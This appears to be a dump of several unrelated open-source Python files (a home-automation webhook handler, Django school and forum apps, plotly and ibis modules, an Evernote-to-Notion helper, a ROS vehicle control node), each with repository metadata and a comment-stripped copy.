ex) return empty_okay_response() register_signal = "{}_{}_register".format(DOMAIN, data[ATTR_SENSOR_TYPE]) async_dispatcher_send(opp, register_signal, data) return webhook_response( {"success": True}, registration=config_entry.data, status=HTTP_CREATED, ) @WEBHOOK_COMMANDS.register("update_sensor_states") @validate_schema( vol.All( cv.ensure_list, [ vol.Schema( { vol.Optional(ATTR_SENSOR_ATTRIBUTES, default={}): dict, vol.Optional(ATTR_SENSOR_ICON, default="mdi:cellphone"): cv.icon, vol.Required(ATTR_SENSOR_STATE): vol.Any(bool, str, int, float), vol.Required(ATTR_SENSOR_TYPE): vol.In(SENSOR_TYPES), vol.Required(ATTR_SENSOR_UNIQUE_ID): cv.string, } ) ], ) ) async def webhook_update_sensor_states(opp, config_entry, data): resp = {} for sensor in data: entity_type = sensor[ATTR_SENSOR_TYPE] unique_id = sensor[ATTR_SENSOR_UNIQUE_ID] unique_store_key = f"{config_entry.data[CONF_WEBHOOK_ID]}_{unique_id}" if unique_store_key not in opp.data[DOMAIN][entity_type]: _LOGGER.error( "Refusing to update non-registered sensor: %s", unique_store_key ) err_msg = f"{entity_type} {unique_id} is not registered" resp[unique_id] = { "success": False, "error": {"code": ERR_SENSOR_NOT_REGISTERED, "message": err_msg}, } continue entry = opp.data[DOMAIN][entity_type][unique_store_key] new_state = {**entry, **sensor} opp.data[DOMAIN][entity_type][unique_store_key] = new_state safe = savable_state(opp) try: await opp.data[DOMAIN][DATA_STORE].async_save(safe) except OpenPeerPowerError as ex: _LOGGER.error("Error updating mobile_app registration: %s", ex) return empty_okay_response() async_dispatcher_send(opp, SIGNAL_SENSOR_UPDATE, new_state) resp[unique_id] = {"success": True} return webhook_response(resp, registration=config_entry.data) @WEBHOOK_COMMANDS.register("get_zones") async def webhook_get_zones(opp, config_entry, data): zones = [ opp.states.get(entity_id) for entity_id in sorted(opp.states.async_entity_ids(ZONE_DOMAIN)) ] return webhook_response(zones, registration=config_entry.data) @WEBHOOK_COMMANDS.register("get_config") async def webhook_get_config(opp, config_entry, data): opp_config = opp.config.as_dict() resp = { "latitude": opp_config["latitude"], "longitude": opp_config["longitude"], "elevation": opp_config["elevation"], "unit_system": opp_config["unit_system"], "location_name": opp_config["location_name"], "time_zone": opp_config["time_zone"], "components": opp_config["components"], "version": opp_config["version"], "theme_color": MANIFEST_JSON["theme_color"], } if CONF_CLOUDHOOK_URL in config_entry.data: resp[CONF_CLOUDHOOK_URL] = config_entry.data[CONF_CLOUDHOOK_URL] try: resp[CONF_REMOTE_UI_URL] = opp.components.cloud.async_remote_ui_url() except opp.components.cloud.CloudNotAvailable: pass return webhook_response(resp, registration=config_entry.data)

true

f70ffb5653d4966b0c8c0eb7aea68ce4980e6d72

7,639

py

Python

lc101/school_app/models.py

Khoi938/AWS-SchoolApp

64612718f2cf5e4fc0cd9622fcf51b9224776192

[ "MIT" ]

null

lc101/school_app/models.py

Khoi938/AWS-SchoolApp

64612718f2cf5e4fc0cd9622fcf51b9224776192

[ "MIT" ]

3

2020-06-05T18:33:38.000Z

2021-06-10T20:22:00.000Z

lc101/school_app/models.py

Khoi938/AWS-SchoolApp

64612718f2cf5e4fc0cd9622fcf51b9224776192

[ "MIT" ]

null

from django.db import models from django.contrib.auth.models import User from django.db.models.signals import post_save from django.dispatch import receiver #------- Profile, Student, Teacher Model ------- ## TODO Refactor CharField To Text Field Modify HTMl maxlength. WRONG USAGE!!! ALLL WRONG class Profile(models.Model): #username,first,last,email,password is extened from Django Auth User user = models.OneToOneField(User, null=True, on_delete = models.SET_NULL) street_address = models.CharField(max_length=200, blank=True) city = models.CharField(max_length=100, blank=True) state = models.CharField(max_length=100, blank=True) zip_code = models.CharField(max_length=20, blank=True) phone_number = models.CharField(max_length=20, blank=True) emergency_contact = models.CharField(max_length=20, blank=True) relationship = models.CharField(max_length=100, blank=True) middle_name = models.CharField(max_length=50, blank=True) birth_date = models.DateField(null=True, blank=True) school_id = models.CharField(max_length=15,null=True, blank = True, default=0) is_student = models.BooleanField('Student', default=False) is_teacher = models.BooleanField('Teacher', default=False) about = models.TextField(max_length=300, blank=True) hobby = models.TextField(max_length=100, blank=True) favorite_food = models.TextField(max_length=100, blank=True) favorite_subject = models.TextField(max_length=100, blank=True) def __str__(self): if self.user == None: return 'User deleted - ' + str(self.school_id) else: return self.user.get_full_name() @receiver(post_save, sender=User)# Create a Profile when a User is create. def create_profile_object(sender, instance, created, **kwargs): if created: profile = Profile.objects.create(user=instance) class Student(models.Model): profile = models.OneToOneField(Profile, null=True, on_delete = models.SET_NULL) user = models.OneToOneField(User, null=True, on_delete = models.SET_NULL) # Course_taking = models.ForeignKey('Course',blank=True, null=True, on_delete = models.SET_NULL, related_name='enrolled_Course') # classroom_taking = models.ManyToManyField('Classroom',blank=True) def __str__(self): return 'Student: ' + str(self.user.get_full_name()) #change to string class Teacher(models.Model): profile = models.OneToOneField(Profile,null=True, on_delete = models.SET_NULL) user = models.OneToOneField(User, null=True, on_delete = models.SET_NULL, related_name='teacher') def __str__(self): return 'Teacher: ' + str(self.user.get_full_name()) #change to string # --------------- Course, Classroom, Lesson Plan and Department's Model---------------------- class Course(models.Model): course_number = models.CharField(max_length=20,default='12345678') abbreviated_title = models.CharField(max_length=150,default='') course_title = models.CharField(max_length=250,default='') #,unique=True) maximum_credit = models.CharField(max_length=10,default='') semester = models.CharField(max_length=50,default='') year = models.CharField(max_length=4,default='') teacher_name = models.CharField(max_length=50,default='') description = models.CharField(max_length=450,default='') #Alert If related name is use in ForeignKey, _set cannot be use! is_archive = models.BooleanField(default=False) department = models.ForeignKey('Department',blank=True, null=True, on_delete = models.SET_NULL, related_name='belong_in_department') teacher = models.ForeignKey('Teacher',blank=True, null=True, on_delete = models.SET_NULL, related_name='course_by_teacher') create_date = models.DateField(auto_now_add=True , blank=True,null=True,) # A Course is bound to the teacher and create a classroom upon creation. More room can be added later class Lesson_plan(models.Model): course_title = models.CharField(max_length=50,default='') teacher_idx = models.CharField(max_length=10,default='') week_number = models.CharField(max_length=10,default='') agenda = models.CharField(max_length=450,default='Agenda Goes Here') monday_date = models.DateField(blank=True, null=True) tuesday_date = models.DateField(blank=True, null=True) wednesday_date = models.DateField(blank=True, null=True) thursday_date = models.DateField(blank=True, null=True) friday_date= models.DateField(blank=True, null=True) monday_assignment = models.CharField(max_length=400,default='a') tuesday_assignment= models.CharField(max_length=400,default='s') wednesday_assignment= models.CharField(max_length=400,default='d') thursday_assignment= models.CharField(max_length=400,default='f') friday_assignment= models.CharField(max_length=400,default='g') weekend_assignment = models.CharField(max_length=300,default='h') teacher = models.ForeignKey('Teacher',blank=True, null=True, on_delete = models.SET_NULL) course = models.ForeignKey('Course',blank=True, null=True, on_delete = models.SET_NULL) last_modifield = models.DateTimeField(auto_now=True, blank=True,null=True,) create_date = models.DateField(auto_now_add=True, blank=True,null=True,) def __str__(self): return 'Lesson plan for '+self.course_title +' Teacher: '+ str(self.teacher) class Classroom(models.Model): course_title = models.CharField(max_length=50,default='') course_number = models.CharField(max_length=20,default='') teacher_name = models.CharField(max_length=50,default='') teacher_idx = models.CharField(max_length=10,default='') room_number = models.CharField(max_length=10,default='TBA') time = models.TimeField(blank=True,null=True) description = models.CharField(max_length=300,default='TBA') # Use for statement to get value # Course = models.ManyToManyField(Course, blank=True) is_archive = models.BooleanField(default=False) semester = models.CharField(max_length=50,default='') year = models.CharField(max_length=4,default='') teacher = models.ForeignKey('Teacher',blank=True, null=True, on_delete = models.SET_NULL, related_name='classroom_by_teacher') course = models.ForeignKey('Course',blank=True, null=True, on_delete = models.SET_NULL, related_name='course_in_classroom') student = models.ManyToManyField(Student, blank=True) def __str__(self): return 'Course: ' + self.course_title +' Room #: '+self.room_number @receiver(post_save, sender=Course) def create_classroom_object(sender, instance, created, **kwargs): if created: classroom = Classroom.objects.create(course_title=instance.course_title,course_id=instance.id, teacher_name=instance.teacher_name, course=instance,teacher=instance.teacher,semester=instance.semester,year=instance.year) # To Find the Classroom: # teacher = Teacher.objects.filter(user=request.user) # Course = Course.objects.filter(teacher_set=teacher, name ='Course_name') # classroom = Classroom.objects.filter(teacher=teacher).filter(Course=Course) class Department(models.Model): description = models.CharField(max_length=450,default='Department Description') name = models.CharField(max_length=75,default='', unique=True) # Course = models.ManyToManyField('Course',blank=True) teacher = models.ManyToManyField(Teacher,blank=True) student = models.ManyToManyField(Student,blank=True) def __str__(self): return 'LC High School ' + self.name + ' department.'

51.268456

138

0.728629

from django.db import models from django.contrib.auth.models import User from django.db.models.signals import post_save from django.dispatch import receiver elete = models.SET_NULL) street_address = models.CharField(max_length=200, blank=True) city = models.CharField(max_length=100, blank=True) state = models.CharField(max_length=100, blank=True) zip_code = models.CharField(max_length=20, blank=True) phone_number = models.CharField(max_length=20, blank=True) emergency_contact = models.CharField(max_length=20, blank=True) relationship = models.CharField(max_length=100, blank=True) middle_name = models.CharField(max_length=50, blank=True) birth_date = models.DateField(null=True, blank=True) school_id = models.CharField(max_length=15,null=True, blank = True, default=0) is_student = models.BooleanField('Student', default=False) is_teacher = models.BooleanField('Teacher', default=False) about = models.TextField(max_length=300, blank=True) hobby = models.TextField(max_length=100, blank=True) favorite_food = models.TextField(max_length=100, blank=True) favorite_subject = models.TextField(max_length=100, blank=True) def __str__(self): if self.user == None: return 'User deleted - ' + str(self.school_id) else: return self.user.get_full_name() @receiver(post_save, sender=User) def create_profile_object(sender, instance, created, **kwargs): if created: profile = Profile.objects.create(user=instance) class Student(models.Model): profile = models.OneToOneField(Profile, null=True, on_delete = models.SET_NULL) user = models.OneToOneField(User, null=True, on_delete = models.SET_NULL) def __str__(self): return 'Student: ' + str(self.user.get_full_name()) class Teacher(models.Model): profile = models.OneToOneField(Profile,null=True, on_delete = models.SET_NULL) user = models.OneToOneField(User, null=True, on_delete = models.SET_NULL, related_name='teacher') def __str__(self): return 'Teacher: ' + str(self.user.get_full_name()) class Course(models.Model): course_number = models.CharField(max_length=20,default='12345678') abbreviated_title = models.CharField(max_length=150,default='') course_title = models.CharField(max_length=250,default='') #,unique=True) maximum_credit = models.CharField(max_length=10,default='') semester = models.CharField(max_length=50,default='') year = models.CharField(max_length=4,default='') teacher_name = models.CharField(max_length=50,default='') description = models.CharField(max_length=450,default='') #Alert If related name is use in ForeignKey, _set cannot be use! is_archive = models.BooleanField(default=False) department = models.ForeignKey('Department',blank=True, null=True, on_delete = models.SET_NULL, related_name='belong_in_department') teacher = models.ForeignKey('Teacher',blank=True, null=True, on_delete = models.SET_NULL, related_name='course_by_teacher') create_date = models.DateField(auto_now_add=True , blank=True,null=True,) # A Course is bound to the teacher and create a classroom upon creation. More room can be added later class Lesson_plan(models.Model): course_title = models.CharField(max_length=50,default='') teacher_idx = models.CharField(max_length=10,default='') week_number = models.CharField(max_length=10,default='') agenda = models.CharField(max_length=450,default='Agenda Goes Here') monday_date = models.DateField(blank=True, null=True) tuesday_date = models.DateField(blank=True, null=True) wednesday_date = models.DateField(blank=True, null=True) thursday_date = models.DateField(blank=True, null=True) friday_date= models.DateField(blank=True, null=True) monday_assignment = models.CharField(max_length=400,default='a') tuesday_assignment= models.CharField(max_length=400,default='s') wednesday_assignment= models.CharField(max_length=400,default='d') thursday_assignment= models.CharField(max_length=400,default='f') friday_assignment= models.CharField(max_length=400,default='g') weekend_assignment = models.CharField(max_length=300,default='h') teacher = models.ForeignKey('Teacher',blank=True, null=True, on_delete = models.SET_NULL) course = models.ForeignKey('Course',blank=True, null=True, on_delete = models.SET_NULL) last_modifield = models.DateTimeField(auto_now=True, blank=True,null=True,) create_date = models.DateField(auto_now_add=True, blank=True,null=True,) def __str__(self): return 'Lesson plan for '+self.course_title +' Teacher: '+ str(self.teacher) class Classroom(models.Model): course_title = models.CharField(max_length=50,default='') course_number = models.CharField(max_length=20,default='') teacher_name = models.CharField(max_length=50,default='') teacher_idx = models.CharField(max_length=10,default='') room_number = models.CharField(max_length=10,default='TBA') time = models.TimeField(blank=True,null=True) description = models.CharField(max_length=300,default='TBA') # Use for statement to get value # Course = models.ManyToManyField(Course, blank=True) is_archive = models.BooleanField(default=False) semester = models.CharField(max_length=50,default='') year = models.CharField(max_length=4,default='') teacher = models.ForeignKey('Teacher',blank=True, null=True, on_delete = models.SET_NULL, related_name='classroom_by_teacher') course = models.ForeignKey('Course',blank=True, null=True, on_delete = models.SET_NULL, related_name='course_in_classroom') student = models.ManyToManyField(Student, blank=True) def __str__(self): return 'Course: ' + self.course_title +' Room @receiver(post_save, sender=Course) def create_classroom_object(sender, instance, created, **kwargs): if created: classroom = Classroom.objects.create(course_title=instance.course_title,course_id=instance.id, teacher_name=instance.teacher_name, course=instance,teacher=instance.teacher,semester=instance.semester,year=instance.year) # To Find the Classroom: # teacher = Teacher.objects.filter(user=request.user) # Course = Course.objects.filter(teacher_set=teacher, name ='Course_name') # classroom = Classroom.objects.filter(teacher=teacher).filter(Course=Course) class Department(models.Model): description = models.CharField(max_length=450,default='Department Description') name = models.CharField(max_length=75,default='', unique=True) # Course = models.ManyToManyField('Course',blank=True) teacher = models.ManyToManyField(Teacher,blank=True) student = models.ManyToManyField(Student,blank=True) def __str__(self): return 'LC High School ' + self.name + ' department.'

true

f70ffb6cc9871e9b47e543f54c1311f5835fc889

476

py

Python

plotly/validators/scattergeo/marker/colorbar/_y.py

faezs/plotly.py

6009b5b9c746e5d2a2849ad255a4eb234b551ed7

[ "MIT" ]

2

2020-03-24T11:41:14.000Z

2021-01-14T07:59:43.000Z

plotly/validators/scattergeo/marker/colorbar/_y.py

faezs/plotly.py

6009b5b9c746e5d2a2849ad255a4eb234b551ed7

[ "MIT" ]

null

plotly/validators/scattergeo/marker/colorbar/_y.py

faezs/plotly.py

6009b5b9c746e5d2a2849ad255a4eb234b551ed7

[ "MIT" ]

4

2019-06-03T14:49:12.000Z

2022-01-06T01:05:12.000Z

import _plotly_utils.basevalidators class YValidator(_plotly_utils.basevalidators.NumberValidator): def __init__( self, plotly_name='y', parent_name='scattergeo.marker.colorbar', **kwargs ): super(YValidator, self).__init__( plotly_name=plotly_name, parent_name=parent_name, edit_type='calc', max=3, min=-2, role='style', **kwargs )

22.666667

63

0.556723

import _plotly_utils.basevalidators class YValidator(_plotly_utils.basevalidators.NumberValidator): def __init__( self, plotly_name='y', parent_name='scattergeo.marker.colorbar', **kwargs ): super(YValidator, self).__init__( plotly_name=plotly_name, parent_name=parent_name, edit_type='calc', max=3, min=-2, role='style', **kwargs )

true

f70ffe3f4ef711992da1362f8030fc7607809690

791

py

Python

ibis/backends/pandas/execution/__init__.py

rtpsw/ibis

d7318fdf87121cd8fadbcf0369a2b217aab3053a

[ "Apache-2.0" ]

1

2022-03-22T10:39:37.000Z

ibis/backends/pandas/execution/__init__.py

marlenezw/ibis

14b9baf3e1021e8698e7f0ae3c0ae5747543431c

[ "Apache-2.0" ]

null

ibis/backends/pandas/execution/__init__.py

marlenezw/ibis

14b9baf3e1021e8698e7f0ae3c0ae5747543431c

[ "Apache-2.0" ]

null

from ibis.backends.pandas.execution.arrays import * # noqa: F401,F403 from ibis.backends.pandas.execution.decimal import * # noqa: F401,F403 from ibis.backends.pandas.execution.generic import * # noqa: F401,F403 from ibis.backends.pandas.execution.join import * # noqa: F401,F403 from ibis.backends.pandas.execution.maps import * # noqa: F401,F403 from ibis.backends.pandas.execution.selection import * # noqa: F401,F403 from ibis.backends.pandas.execution.strings import * # noqa: F401,F403 from ibis.backends.pandas.execution.structs import * # noqa: F401,F403 from ibis.backends.pandas.execution.temporal import * # noqa: F401,F403 from ibis.backends.pandas.execution.timecontext import * # noqa: F401,F403 from ibis.backends.pandas.execution.window import * # noqa: F401,F403

65.916667

75

0.777497

from ibis.backends.pandas.execution.arrays import * from ibis.backends.pandas.execution.decimal import * from ibis.backends.pandas.execution.generic import * from ibis.backends.pandas.execution.join import * from ibis.backends.pandas.execution.maps import * from ibis.backends.pandas.execution.selection import * from ibis.backends.pandas.execution.strings import * from ibis.backends.pandas.execution.structs import * from ibis.backends.pandas.execution.temporal import * from ibis.backends.pandas.execution.timecontext import * from ibis.backends.pandas.execution.window import *

true

f70ffe665af27588bbe9a0130f4ef97d24df0153

961

py

Python

enex2notion/cli_wkhtmltopdf.py

starplanet/enex2notion

3bd97112e8234b477a3d53c5461ce7a3ac55f7aa

[ "MIT" ]

49

2021-12-12T04:13:24.000Z

2022-03-31T12:58:57.000Z

enex2notion/cli_wkhtmltopdf.py

starplanet/enex2notion

3bd97112e8234b477a3d53c5461ce7a3ac55f7aa

[ "MIT" ]

11

2021-12-03T10:49:54.000Z

2022-03-29T20:00:30.000Z

enex2notion/cli_wkhtmltopdf.py

starplanet/enex2notion

3bd97112e8234b477a3d53c5461ce7a3ac55f7aa

[ "MIT" ]

3

2022-02-04T13:25:21.000Z

2022-03-07T17:54:36.000Z

import logging import os import platform import shutil import sys from pathlib import Path logger = logging.getLogger(__name__) def ensure_wkhtmltopdf(): # pragma: no cover if shutil.which("wkhtmltopdf") is None: if platform.system() == "Windows": wkhtmltopdf_path = _find_wkhtmltopdf_path() if wkhtmltopdf_path and wkhtmltopdf_path.exists(): logger.debug(f"Found wkhtmltopdf at {wkhtmltopdf_path}") os.environ["PATH"] += os.pathsep + str(wkhtmltopdf_path.parent) return logger.error("You need to install wkhtmltopdf to use --mode-webclips=PDF") sys.exit(1) def _find_wkhtmltopdf_path(): # pragma: no cover import winreg # noqa: WPS433 try: with winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, r"SOFTWARE\wkhtmltopdf") as key: return Path(winreg.QueryValueEx(key, "PdfPath")[0]) except FileNotFoundError: return None

30.03125

87

0.667014

import logging import os import platform import shutil import sys from pathlib import Path logger = logging.getLogger(__name__) def ensure_wkhtmltopdf(): if shutil.which("wkhtmltopdf") is None: if platform.system() == "Windows": wkhtmltopdf_path = _find_wkhtmltopdf_path() if wkhtmltopdf_path and wkhtmltopdf_path.exists(): logger.debug(f"Found wkhtmltopdf at {wkhtmltopdf_path}") os.environ["PATH"] += os.pathsep + str(wkhtmltopdf_path.parent) return logger.error("You need to install wkhtmltopdf to use --mode-webclips=PDF") sys.exit(1) def _find_wkhtmltopdf_path(): import winreg try: with winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, r"SOFTWARE\wkhtmltopdf") as key: return Path(winreg.QueryValueEx(key, "PdfPath")[0]) except FileNotFoundError: return None

true

f70ffe907544adc81b183974aedfca98b72ac20d

2,936

py

Python

forumdemo/article/views.py

lamdba0602/forumdemo

82c6223d6b6d7fb3bac049e342d3048a5117a2b7

[ "Apache-2.0" ]

null

forumdemo/article/views.py

lamdba0602/forumdemo

82c6223d6b6d7fb3bac049e342d3048a5117a2b7

[ "Apache-2.0" ]

null

forumdemo/article/views.py

lamdba0602/forumdemo

82c6223d6b6d7fb3bac049e342d3048a5117a2b7

[ "Apache-2.0" ]

null

from django.shortcuts import redirect from django.shortcuts import render from django.core.paginator import Paginator from django.contrib.auth.decorators import login_required from article.forms import ArticleForm from article.models import Article from block.models import Block from comment.models import Comment def article_list(request, block_id): ARTICLE_CNT_1PAGE = 1 page_no = int(request.GET.get("page_no", "1")) block_id = int(block_id) block = Block.objects.get(id=block_id) articles_objs = Article.objects.filter(block=block, status=0).order_by("-id") page_articles, pagination_data = paginate_queryset(articles_objs, page_no, ARTICLE_CNT_1PAGE) return render(request, "article_list.html", {"articles": page_articles, "b": block, "pagination_data": pagination_data}) def paginate_queryset(objs, page_no, cnt_per_page=10, half_show_length=5): p = Paginator(objs, cnt_per_page) if page_no > p.num_pages: page_no = p.num_pages if page_no <= 0: page_no = 1 page_links = [i for i in range(page_no - half_show_length, page_no + half_show_length + 1) if i > 0 and i <= p.num_pages] page = p.page(page_no) previous_link = page_links[0] - 1 next_link = page_links[-1] + 1 pagination_data = {"page_cnt": p.num_pages, "page_no": page_no, "page_links": page_links, "previous_link": previous_link, "next_link": next_link, "has_previous": previous_link > 0, "has_next": next_link <= p.num_pages} return (page.object_list, pagination_data) @login_required def article_create(request, block_id): block_id = int(block_id) block = Block.objects.get(id=block_id) if request.method == "GET": return render(request, "article_create.html", {"b": block}) else: form = ArticleForm(request.POST) if form.is_valid(): article = form.save(commit=False) article.owner = request.user article.block = block article.status = 0 article.save() return redirect("/article/list/%s" % block_id) else: return render(request, "article_create.html", {"b": block, "form": form}) def article_detail(request, article_id): page_no = int(request.GET.get("page_no", "1")) article_id = int(article_id) article = Article.objects.get(id=article_id) comments = Comment.objects.filter(article=article).order_by("-id") page_comments, pagination_data = paginate_queryset(comments, page_no, 2) return render(request, "article_detail.html", {"article": article, "comments": page_comments, "pagination_data": pagination_data})

39.146667

97

0.628065

from django.shortcuts import redirect from django.shortcuts import render from django.core.paginator import Paginator from django.contrib.auth.decorators import login_required from article.forms import ArticleForm from article.models import Article from block.models import Block from comment.models import Comment def article_list(request, block_id): ARTICLE_CNT_1PAGE = 1 page_no = int(request.GET.get("page_no", "1")) block_id = int(block_id) block = Block.objects.get(id=block_id) articles_objs = Article.objects.filter(block=block, status=0).order_by("-id") page_articles, pagination_data = paginate_queryset(articles_objs, page_no, ARTICLE_CNT_1PAGE) return render(request, "article_list.html", {"articles": page_articles, "b": block, "pagination_data": pagination_data}) def paginate_queryset(objs, page_no, cnt_per_page=10, half_show_length=5): p = Paginator(objs, cnt_per_page) if page_no > p.num_pages: page_no = p.num_pages if page_no <= 0: page_no = 1 page_links = [i for i in range(page_no - half_show_length, page_no + half_show_length + 1) if i > 0 and i <= p.num_pages] page = p.page(page_no) previous_link = page_links[0] - 1 next_link = page_links[-1] + 1 pagination_data = {"page_cnt": p.num_pages, "page_no": page_no, "page_links": page_links, "previous_link": previous_link, "next_link": next_link, "has_previous": previous_link > 0, "has_next": next_link <= p.num_pages} return (page.object_list, pagination_data) @login_required def article_create(request, block_id): block_id = int(block_id) block = Block.objects.get(id=block_id) if request.method == "GET": return render(request, "article_create.html", {"b": block}) else: form = ArticleForm(request.POST) if form.is_valid(): article = form.save(commit=False) article.owner = request.user article.block = block article.status = 0 article.save() return redirect("/article/list/%s" % block_id) else: return render(request, "article_create.html", {"b": block, "form": form}) def article_detail(request, article_id): page_no = int(request.GET.get("page_no", "1")) article_id = int(article_id) article = Article.objects.get(id=article_id) comments = Comment.objects.filter(article=article).order_by("-id") page_comments, pagination_data = paginate_queryset(comments, page_no, 2) return render(request, "article_detail.html", {"article": article, "comments": page_comments, "pagination_data": pagination_data})

true

f70ffef3c196a246295ef81a2cfd74f59b7eae71

7,088

py

Python

ros/src/twist_controller/dbw_node.py

russell13192/CarND-Capstone

1c182de5fb71f021f33518fe54e5ba27748a424d

[ "MIT" ]

1

2019-08-19T20:36:45.000Z

ros/src/twist_controller/dbw_node.py

russell13192/CarND-Capstone

1c182de5fb71f021f33518fe54e5ba27748a424d

[ "MIT" ]

null

ros/src/twist_controller/dbw_node.py

russell13192/CarND-Capstone

1c182de5fb71f021f33518fe54e5ba27748a424d

[ "MIT" ]

3

2019-08-19T20:40:33.000Z

2019-09-22T18:56:50.000Z

#!/usr/bin/env python # import cte_calculator from geometry_msgs.msg import PoseStamped import rospy from std_msgs.msg import Bool from styx_msgs.msg import Lane from dbw_mkz_msgs.msg import ThrottleCmd, SteeringCmd, BrakeCmd, SteeringReport from geometry_msgs.msg import TwistStamped import math from twist_controller import Controller ''' You can build this node only after you have built (or partially built) the `waypoint_updater` node. You will subscribe to `/twist_cmd` message which provides the proposed linear and angular velocities. You can subscribe to any other message that you find important or refer to the document for list of messages subscribed to by the reference implementation of this node. One thing to keep in mind while building this node and the `twist_controller` class is the status of `dbw_enabled`. While in the simulator, its enabled all the time, in the real car, that will not be the case. This may cause your PID controller to accumulate error because the car could temporarily be driven by a human instead of your controller. We have provided two launch files with this node. Vehicle specific values (like vehicle_mass, wheel_base) etc should not be altered in tbhese files. We have also provided some reference implementations for PID controller and other utility classes. You are free to use them or build your own. Once you have the proposed throttle, brake, and steer values, publish it on the various publishers that we have created in the `__init__` function. ''' class DBWNode(object): def __init__(self): rospy.init_node('dbw_node') vehicle_mass = rospy.get_param('~vehicle_mass', 1736.35) fuel_capacity = rospy.get_param('~fuel_capacity', 13.5) brake_deadband = rospy.get_param('~brake_deadband', .1) decel_limit = rospy.get_param('~decel_limit', -5) accel_limit = rospy.get_param('~accel_limit', 1.) wheel_radius = rospy.get_param('~wheel_radius', 0.2413) wheel_base = rospy.get_param('~wheel_base', 2.8498) steer_ratio = rospy.get_param('~steer_ratio', 14.8) max_lat_accel = rospy.get_param('~max_lat_accel', 3.) max_steer_angle = rospy.get_param('~max_steer_angle', 8.) self.steer_pub = rospy.Publisher('/vehicle/steering_cmd', SteeringCmd, queue_size=1) self.throttle_pub = rospy.Publisher('/vehicle/throttle_cmd', ThrottleCmd, queue_size=1) self.brake_pub = rospy.Publisher('/vehicle/brake_cmd', BrakeCmd, queue_size=1) # Subscribe to all the topics you need to # rospy.Subscriber('/subscriber message name', variable type, callback function, queue_size=1) self.twist_sub = rospy.Subscriber('/twist_cmd', TwistStamped, self.twist_cb, queue_size=1) self.velocity_sub = rospy.Subscriber('/current_vel', TwistStamped, self.current_msg_cb, queue_size=1) self.dbw_sub = rospy.Subscriber('/vehicle/dbw_enabled', Bool, self.dbw_enabled_cb, queue_size=1) self.final_wp_sub = rospy.Subscriber('final_waypoints', Lane, self.final_waypoints_cb, queue_size=1) self.pose_sub = rospy.Subscriber('/current_pose', PoseStamped, self.current_pose_cb, queue_size=1) # TODO: Create `Controller` object self.controller = Controller(vehicle_mass=vehicle_mass, fuel_capacity = fuel_capacity, brake_deadband = brake_deadband, decel_limit = decel_limit, accel_limit = accel_limit, wheel_radius = wheel_radius, wheel_base = wheel_base, steer_ratio = steer_ratio, max_lat_accel = max_lat_accel, max_steer_angle = max_steer_angle) # self.controller = Controller(<Arguments you wish to provide>) # TODO: Subscribe to all the topics you need to rospy.Subscriber('/vehicle/dbw_enabled', Bool, self.dbw_enabled_cb) rospy.Subscriber('/twist_cmd', TwistStamped, self.twist_cb) rospy.Subscriber('/current_velocity',TwistStamped,self.velocity_cb) self.current_vel = None self.curr_ang_vel = None self.dbw_enabled = None self.linear_vel = None self.angular_vel = None self.throttle = self.steering = self.brake = 0 self.loop() def loop(self): rate = rospy.Rate(50) # 50Hz while not rospy.is_shutdown(): # Get predicted throttle, brake, and steering using `twist_controller` # You should only publish the control commands if dbw is enabled # throttle, brake, steering = self.controller.control(<proposed linear velocity>, # <proposed angular velocity>, # <current linear velocity>, # <dbw status>, # <any other argument you need>) # if <dbw is enabled>: # self.publish(throttle, brake, steer) if not None in (self.current_vel, self.linear_vel, self.angular_vel): self.throttle, self.brake, self.steering = self.controller.control( self.current_vel, self.dbw_enabled, self.linear_vel, self.angular_vel) if self.dbw_enabled: self.publish(self.throttle, self.brake, self.steering) rate.sleep() def dbw_enabled_cb(self, msg): self.dbw_enabled = msg def twist_cb(self, msg): self.linear_vel = msg.twist.linear.x self.angular_vel = msg.twist.angular.z def velocity_cb(self, msg): self.current_vel = msg.twist.linear.x def publish(self, throttle, brake, steer): tcmd = ThrottleCmd() tcmd.enable = True tcmd.pedal_cmd_type = ThrottleCmd.CMD_PERCENT tcmd.pedal_cmd = throttle self.throttle_pub.publish(tcmd) scmd = SteeringCmd() scmd.enable = True scmd.steering_wheel_angle_cmd = steer self.steer_pub.publish(scmd) bcmd = BrakeCmd() bcmd.enable = True bcmd.pedal_cmd_type = BrakeCmd.CMD_TORQUE bcmd.pedal_cmd = brake self.brake_pub.publish(bcmd) def current_msg_cb(self, message): self.current_vel = message.twist.linear.x def final_waypoints_cb(self, message): self.final_waypoints = message.waypoints def current_pose_cb(self, message): self.current_pose = message if __name__ == '__main__': DBWNode()

55.375

109

0.616253

from geometry_msgs.msg import PoseStamped import rospy from std_msgs.msg import Bool from styx_msgs.msg import Lane from dbw_mkz_msgs.msg import ThrottleCmd, SteeringCmd, BrakeCmd, SteeringReport from geometry_msgs.msg import TwistStamped import math from twist_controller import Controller class DBWNode(object): def __init__(self): rospy.init_node('dbw_node') vehicle_mass = rospy.get_param('~vehicle_mass', 1736.35) fuel_capacity = rospy.get_param('~fuel_capacity', 13.5) brake_deadband = rospy.get_param('~brake_deadband', .1) decel_limit = rospy.get_param('~decel_limit', -5) accel_limit = rospy.get_param('~accel_limit', 1.) wheel_radius = rospy.get_param('~wheel_radius', 0.2413) wheel_base = rospy.get_param('~wheel_base', 2.8498) steer_ratio = rospy.get_param('~steer_ratio', 14.8) max_lat_accel = rospy.get_param('~max_lat_accel', 3.) max_steer_angle = rospy.get_param('~max_steer_angle', 8.) self.steer_pub = rospy.Publisher('/vehicle/steering_cmd', SteeringCmd, queue_size=1) self.throttle_pub = rospy.Publisher('/vehicle/throttle_cmd', ThrottleCmd, queue_size=1) self.brake_pub = rospy.Publisher('/vehicle/brake_cmd', BrakeCmd, queue_size=1) self.twist_sub = rospy.Subscriber('/twist_cmd', TwistStamped, self.twist_cb, queue_size=1) self.velocity_sub = rospy.Subscriber('/current_vel', TwistStamped, self.current_msg_cb, queue_size=1) self.dbw_sub = rospy.Subscriber('/vehicle/dbw_enabled', Bool, self.dbw_enabled_cb, queue_size=1) self.final_wp_sub = rospy.Subscriber('final_waypoints', Lane, self.final_waypoints_cb, queue_size=1) self.pose_sub = rospy.Subscriber('/current_pose', PoseStamped, self.current_pose_cb, queue_size=1) self.controller = Controller(vehicle_mass=vehicle_mass, fuel_capacity = fuel_capacity, brake_deadband = brake_deadband, decel_limit = decel_limit, accel_limit = accel_limit, wheel_radius = wheel_radius, wheel_base = wheel_base, steer_ratio = steer_ratio, max_lat_accel = max_lat_accel, max_steer_angle = max_steer_angle) rospy.Subscriber('/vehicle/dbw_enabled', Bool, self.dbw_enabled_cb) 